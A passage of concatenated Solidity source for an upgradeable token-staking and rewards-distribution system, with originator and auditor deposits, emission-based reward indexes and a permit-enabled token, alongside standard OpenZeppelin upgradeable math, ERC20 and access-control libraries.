DistributionTypes.UserStakeInput[] memory userStakeInputs = new DistributionTypes.UserStakeInput[](1); userStakeInputs[0] = DistributionTypes.UserStakeInput({ underlyingAsset: address(this), stakedByUser: balanceOf(_staker), totalStaked: totalSupply() }); return stakerRewardsToClaim[_staker].add(_getUnclaimedRewards(_staker, userStakeInputs)); } /** * @notice Check if fulfilled the objective (Only valid on STAKING state!!) */ function hasReachedGoal() public override notZeroAmount(stakingGoal) view returns (bool) { if (proposerBalances[ORIGINATOR_ROLE].add(proposerBalances[AUDITOR_ROLE]).add(totalSupply()) >= stakingGoal) { return true; } return false; } /** * @notice Function to transfer participation amount (originator or auditor) */ function _depositProposer(address _proposer, uint256 _percentage, uint256 _goalAmount) internal { uint256 percentageAmount = _calculatePercentage(_goalAmount, _percentage); uint256 depositAmount = 0; if (_proposer == getRoleMember(ORIGINATOR_ROLE, 0)) { depositAmount = _calculateDepositAmount(ORIGINATOR_ROLE, percentageAmount); proposerBalances[ORIGINATOR_ROLE] = proposerBalances[ORIGINATOR_ROLE].add(depositAmount); } else if (_proposer == getRoleMember(AUDITOR_ROLE, 0)) { depositAmount = _calculateDepositAmount(AUDITOR_ROLE, percentageAmount); proposerBalances[AUDITOR_ROLE] = proposerBalances[AUDITOR_ROLE].add(depositAmount); } IERC20Upgradeable(STAKED_TOKEN).safeTransferFrom(_proposer, address(this), depositAmount); } /** * @dev Internal ERC20 _transfer of the tokenized staked tokens * @param _from Address to transfer from * @param _to Address to transfer to * @param _amount Amount to transfer **/ function _transfer( address _from, address _to, uint256 _amount ) internal override { uint256 balanceOfFrom = balanceOf(_from); // Sender _updateCurrentUnclaimedRewards(_from, balanceOfFrom, true); // Recipient if (_from != _to) { uint256 balanceOfTo = balanceOf(_to); _updateCurrentUnclaimedRewards(_to, balanceOfTo, true); } super._transfer(_from, _to, _amount); } /** * @dev Check if the state of contract is suitable to redeem */ function _checkRedeemEligibilityState() internal view returns (bool) { if (state == OriginatorStakingState.STAKING_END) { return true; } else if (state == OriginatorStakingState.DEFAULT && defaultedAmount <= proposerBalances[ORIGINATOR_ROLE].add(proposerBalances[AUDITOR_ROLE])) { return true; } else { return false; } } /** * @dev Updates the user state related with his accrued rewards * @param _user Address of the user * @param _userBalance The current balance of the user * @param _updateStorage Boolean flag used to update or not the stakerRewardsToClaim of the user * @return The unclaimed rewards that were added to the total accrued **/ function _updateCurrentUnclaimedRewards( address _user, uint256 _userBalance, bool _updateStorage ) internal returns (uint256) { uint256 accruedRewards = _updateUserAssetInternal(_user, address(this), _userBalance, totalSupply()); uint256 unclaimedRewards = stakerRewardsToClaim[_user].add(accruedRewards); if (accruedRewards != 0) { if (_updateStorage) { stakerRewardsToClaim[_user] = unclaimedRewards; } emit RewardsAccrued(_user, accruedRewards); } return unclaimedRewards; } /** * @notice Function to calculate a percentage of an amount * @param _amount Amount to calculate the percentage of * @param _percentage Percentage to calculate of this amount * @return (amount) */ function _calculatePercentage(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return uint256(_amount.mul(_percentage).div(10000)); } /** * @notice Function to get the actual participation amount * of proposers according the amount that already exists in the contract * @param _role Auditor or originator role * @param _percentageAmount Percentage of staking goal amount * Note _percentageAmount SHOULD BE GREATER than the previously existing amount */ function _calculateDepositAmount(bytes32 _role, uint256 _percentageAmount) internal view returns (uint256){ return uint256(_percentageAmount.sub(proposerBalances[_role])); } /** * @notice Function to change contract state * @param _newState New contract state **/ function _changeState(OriginatorStakingState _newState) internal { state = _newState; emit StateChange(uint256(_newState)); } /** * @notice Function to change DISTRIBUTION_END if timestamp is less than the initial one **/ function _endDistributionIfNeeded() internal { if (block.timestamp <= DISTRIBUTION_END) { _changeDistributionEndDate(block.timestamp); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import './lib/DistributionTypes.sol'; import './interfaces/IStakingRewards.sol'; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; import '../../../utils/SafeMathUint128.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol'; /** * @title StakingRewards * @notice Accounting contract to manage multiple staking distributions * @author Aave / Ethichub **/ contract StakingRewards is Initializable, IStakingRewards, AccessControlUpgradeable { bytes32 public constant EMISSION_MANAGER_ROLE = keccak256('EMISSION_MANAGER'); using SafeMathUpgradeable for uint256; using SafeMathUint128 for uint128; struct AssetData { uint128 emissionPerSecond; uint128 lastUpdateTimestamp; uint256 index; mapping(address => uint256) users; } uint256 public DISTRIBUTION_END; uint8 constant public PRECISION = 18; mapping(address => AssetData) public assets; event AssetConfigUpdated(address indexed asset, uint256 emission); event AssetIndexUpdated(address indexed asset, uint256 index); event UserIndexUpdated(address indexed user, address indexed asset, uint256 index); event DistributionEndChanged(uint256 distributionEnd); function __StakingRewards_init(address emissionManager, uint256 distributionDuration) public initializer { __AccessControl_init_unchained(); DISTRIBUTION_END = block.timestamp.add(distributionDuration); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(EMISSION_MANAGER_ROLE, emissionManager); } /** * @dev Configures the distribution of rewards for a list of assets * @param assetsConfigInput The list of configurations to apply **/ function configureAssets(DistributionTypes.AssetConfigInput[] memory assetsConfigInput) public override { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); for (uint256 i = 0; i < assetsConfigInput.length; i++) { AssetData storage assetConfig = assets[assetsConfigInput[i].underlyingAsset]; _updateAssetStateInternal( assetsConfigInput[i].underlyingAsset, assetConfig, assetsConfigInput[i].totalStaked ); assetConfig.emissionPerSecond = assetsConfigInput[i].emissionPerSecond; emit AssetConfigUpdated( assetsConfigInput[i].underlyingAsset, assetsConfigInput[i].emissionPerSecond ); } } /** * @notice Change distribution end datetime * @param _distributionEndDate new distribution end datetime (UNIX Timestamp) */ function changeDistributionEndDate(uint256 _distributionEndDate) public override { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); return _changeDistributionEndDate(_distributionEndDate); } /** * @notice Change distribution end datetime internal function * @param _distributionEndDate new distribution end datetime (UNIX Timestamp) */ function _changeDistributionEndDate(uint256 _distributionEndDate) internal { DISTRIBUTION_END = _distributionEndDate; emit DistributionEndChanged(DISTRIBUTION_END); } /** * @dev Updates the state of one distribution, mainly rewards index and timestamp * @param underlyingAsset The address used as key in the distribution * @param assetConfig Storage pointer to the distribution's config * @param totalStaked Current total of staked assets for this distribution * @return The new distribution index **/ function _updateAssetStateInternal( address underlyingAsset, AssetData storage assetConfig, uint256 totalStaked ) internal returns (uint256) { uint256 oldIndex = assetConfig.index; uint128 lastUpdateTimestamp = assetConfig.lastUpdateTimestamp; if (block.timestamp == lastUpdateTimestamp) { return oldIndex; } uint256 newIndex = _getAssetIndex( oldIndex, assetConfig.emissionPerSecond, lastUpdateTimestamp, totalStaked ); if (newIndex != oldIndex) { assetConfig.index = newIndex; emit AssetIndexUpdated(underlyingAsset, newIndex); } assetConfig.lastUpdateTimestamp = uint128(block.timestamp); return newIndex; } /** * @dev Updates the state of an user in a distribution * @param user The user's address * @param asset The address of the reference asset of the distribution * @param stakedByUser Amount of tokens staked by the user in the distribution at the moment * @param totalStaked Total tokens staked in the distribution * @return The accrued rewards for the user until the moment **/ function _updateUserAssetInternal( address user, address asset, uint256 stakedByUser, uint256 totalStaked ) internal returns (uint256) { AssetData storage assetData = assets[asset]; uint256 userIndex = assetData.users[user]; uint256 accruedRewards = 0; uint256 newIndex = _updateAssetStateInternal(asset, assetData, totalStaked); if (userIndex != newIndex) { if (stakedByUser != 0) { accruedRewards = _getRewards(stakedByUser, newIndex, userIndex); } assetData.users[user] = newIndex; emit UserIndexUpdated(user, asset, newIndex); } return accruedRewards; } /** * @dev Used by "frontend" stake contracts to update the data of an user when claiming rewards from there * @param user The address of the user * @param stakes List of structs of the user data related with his stake * @return The accrued rewards for the user until the moment **/ function _claimRewards(address payable user, DistributionTypes.UserStakeInput[] memory stakes) internal returns (uint256) { uint256 accruedRewards = 0; for (uint256 i = 0; i < stakes.length; i++) { accruedRewards = accruedRewards.add( _updateUserAssetInternal( user, stakes[i].underlyingAsset, stakes[i].stakedByUser, stakes[i].totalStaked ) ); } return accruedRewards; } /** * @dev Return the accrued rewards for an user over a list of distribution * @param user The address of the user * @param stakes List of structs of the user data related with his stake * @return The accrued rewards for the user until the moment **/ function _getUnclaimedRewards(address user, DistributionTypes.UserStakeInput[] memory stakes) internal view returns (uint256) { uint256 accruedRewards = 0; for (uint256 i = 0; i < stakes.length; i++) { AssetData storage assetConfig = assets[stakes[i].underlyingAsset]; uint256 assetIndex = _getAssetIndex( assetConfig.index, assetConfig.emissionPerSecond, assetConfig.lastUpdateTimestamp, stakes[i].totalStaked ); accruedRewards = accruedRewards.add( _getRewards(stakes[i].stakedByUser, assetIndex, assetConfig.users[user]) ); } return accruedRewards; } /** * @dev Internal function for the calculation of user's rewards on a distribution * @param principalUserBalance Amount staked by the user on a distribution * @param reserveIndex Current index of the distribution * @param userIndex Index stored for the user, representation his staking moment * @return The rewards **/ function _getRewards( uint256 principalUserBalance, uint256 reserveIndex, uint256 userIndex ) internal view returns (uint256) { return principalUserBalance.mul(reserveIndex.sub(userIndex)).div(10**uint256(PRECISION)); } /** * @dev Calculates the next value of an specific distribution index, with validations * @param currentIndex Current index of the distribution * @param emissionPerSecond Representing the total rewards distributed per second per asset unit, on the distribution * @param lastUpdateTimestamp Last moment this distribution was updated * @param totalBalance of tokens considered for the distribution * @return The new index. **/ function _getAssetIndex( uint256 currentIndex, uint256 emissionPerSecond, uint128 lastUpdateTimestamp, uint256 totalBalance ) internal view returns (uint256) { if ( emissionPerSecond == 0 || totalBalance == 0 || lastUpdateTimestamp == block.timestamp || lastUpdateTimestamp >= DISTRIBUTION_END ) { return currentIndex; } uint256 currentTimestamp = block.timestamp > DISTRIBUTION_END ? DISTRIBUTION_END : block.timestamp; uint256 timeDelta = currentTimestamp.sub(lastUpdateTimestamp); return emissionPerSecond.mul(timeDelta).mul(10**uint256(PRECISION)).div(totalBalance).add( currentIndex ); } /** * @dev Returns the data of an user on a distribution * @param user Address of the user * @param asset The address of the reference asset of the distribution * @return The new index **/ function getUserAssetData(address user, address asset) public view returns (uint256) { return assets[asset].users[user]; } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import '../ERCs/ERC677/ERC677Upgradeable.sol'; import '../ERCs/ERC2612/ERC2612Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import 'hardhat/console.sol'; contract BaseTokenUpgradeable is Initializable, ERC677Upgradeable, ERC2612Upgradeable { function __BaseTokenUpgradeable_init( address _initialAccount, uint256 _initialBalance, string memory _name, string memory _symbol, string memory _EIP712Name ) public initializer { __ERC677_init(_initialAccount, _initialBalance, _name, _symbol); __ERC2612_init(_EIP712Name); } function permit( address _holder, address _spender, uint256 _nonce, uint256 _expiry, bool _allowed, uint8 _v, bytes32 _r, bytes32 _s ) public override { bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256( abi.encode(PERMIT_TYPEHASH, _holder, _spender, _nonce, _expiry, _allowed) ) ) ); require(_holder != address(0), 'Token: invalid-address-0'); require(_holder == ecrecover(digest, _v, _r, _s), 'Token: invalid-permit'); require(_expiry == 0 || block.timestamp <= _expiry, 'Token: permit-expired'); require(_nonce == nonces[_holder]++, 'Token: invalid-nonce'); uint256 _amount = _allowed ? 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff : 0; _approve(_holder, _spender, _amount); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; interface IOriginatorManager { function setUpTerms( address auditor, address originator, address governance, uint256 auditorPercentage, uint256 originatorPercentage, uint256 stakingGoal, uint256 defaultDelay ) external; function renewTerms( uint256 newAuditorPercentage, uint256 newOriginatorPercentage, uint256 newStakingGoal, uint128 newDistributionDuration, uint256 newDefaultDelay ) external; function declareDefault(uint256 defaultedAmount) external; function liquidateProposerStake(uint256 amount, bytes32 role) external; function declareStakingEnd() external; function hasReachedGoal() external view returns (bool); } interface IProjectFundedRewards { function startProjectFundedRewards(uint128 extraEmissionsPerSecond, address lendingContractAddress) external; function endProjectFundedRewards(uint128 extraEmissionsPerSecond, address lendingContractAddress) external; } interface IStaking { function stake(address to, uint256 amount) external; function redeem(address to, uint256 amount) external; function claimRewards(address payable to, uint256 amount) external; function withdrawProposerStake(uint256 amount) external; function getTotalRewardsBalance(address staker) external view returns (uint256); } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IReserve { event Transfer(address indexed to, uint256 amount); event RescueFunds(address token, address indexed to, uint256 amount); function balance() external view returns (uint256); function transfer(address payable _to, uint256 _value) external returns (bool); function rescueFunds( address _tokenToRescue, address _to, uint256 _amount ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUint128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b <= a, errorMessage); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b > 0, errorMessage); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; library DistributionTypes { struct AssetConfigInput { uint128 emissionPerSecond; uint256 totalStaked; address underlyingAsset; } struct UserStakeInput { address underlyingAsset; uint256 stakedByUser; uint256 totalStaked; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import '../lib/DistributionTypes.sol'; interface IStakingRewards { function changeDistributionEndDate(uint256 date) external; function configureAssets(DistributionTypes.AssetConfigInput[] memory assetsConfigInput) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function 